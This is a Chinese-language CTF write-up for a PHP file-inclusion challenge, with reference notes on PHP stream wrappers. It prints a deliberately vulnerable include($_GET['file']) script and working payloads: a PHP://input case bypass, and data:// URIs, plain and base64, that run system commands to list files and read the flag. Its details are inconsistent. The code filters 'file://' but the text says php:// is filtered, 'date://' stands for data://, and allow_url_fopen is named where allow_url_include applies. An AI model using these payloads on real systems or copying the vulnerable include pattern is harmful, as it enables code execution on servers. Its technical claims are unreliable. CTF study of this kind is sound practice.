Where is file?
<?php show_source(__FILE__); echo $_GET['hello']; $file=$_GET['file']; while (strstr($file, "file://")) { $file=str_replace("file://", "", $file); } include($file); ?>
源代码呈上,题目链接:http://101.201.126.95:7009/
查资料
strstr():
定义和用法:
- 搜索字符串在另一个字符串中是否存在,如果是,返回字符串及剩余部分,否则返回false。
- 区分大小写,stristr()函数不区分大小写
语法:
strstr(string,search,before_search)
- string:必需,被搜索的字符串
- search:必需,要搜索的字符串,若是数字,则搜索对应的ASCII值的字符
- before_search:可选,默认为“false”,若为true,将返回search参数第一次出现之前的字符串部分
str_replace():
0x01 定义和用法:
- 以其它字符替换字符串中的一些字符(区分大小写)
语法:
str_replace(find,replace,string,count)
- find,必需,要查找的值
- replace,必需,要替换的值
- string,必需,被搜索的字符串
- count,可选,替换次数
0x02 此题为文件包含,过滤掉php://伪协议,可以使用其它伪协议解题。
方法1:大小写绕过
strstr()函数区分大小写,所以使用PHP://input

方法2:date://伪协议
payload ?file=data://text/plain,<?php system("ls")?> ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4= //base64编码
(file在源代码充当变量)

ls 改为 cat flag.php F12即可找到flag

0x03伪协议
1、伪协议种类
- file:// 访问本地文件系统
- http:// 访问http(s)网址
- ftp:// 访问ftp
- php:// 访问各个输入/输出流
- zlib:// 压缩流
- data:// 数据
- rar:// RAR压缩包
- ogg:// 音频流
2、造成文件包含漏洞的函数
include、require、include_once、require_once、highlight_file、show_source、file_get_contents、fopen、file、readline
3、php伪协议
- php://input,用于执行php代码,需要post请求提交数据。
- php://filter,用于读取源码,get提交参数。?a=php://filter/read=convert.base64/resource=xxx.php
- 需要开启allow_url_fopen:php://input、php://stdin、php://memory、php://temp
- 不需要开启allow_url_fopen:php://filter
4、data协议
用法:
data://text/plain,xxxx(要执行的php代码)
data://text/plain;base64,xxxx(base64编码后的数据)
例:
?page=data://text/plain,
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4=
5、file协议
用法:
file://[本地文件系统的绝对路径]
参考链接
web_php_include https://www.cnblogs.com/observering/p/12824794.html
php伪协议总结 https://blog.csdn.net/a3320315/article/details/101635461

浙公网安备 33010602011771号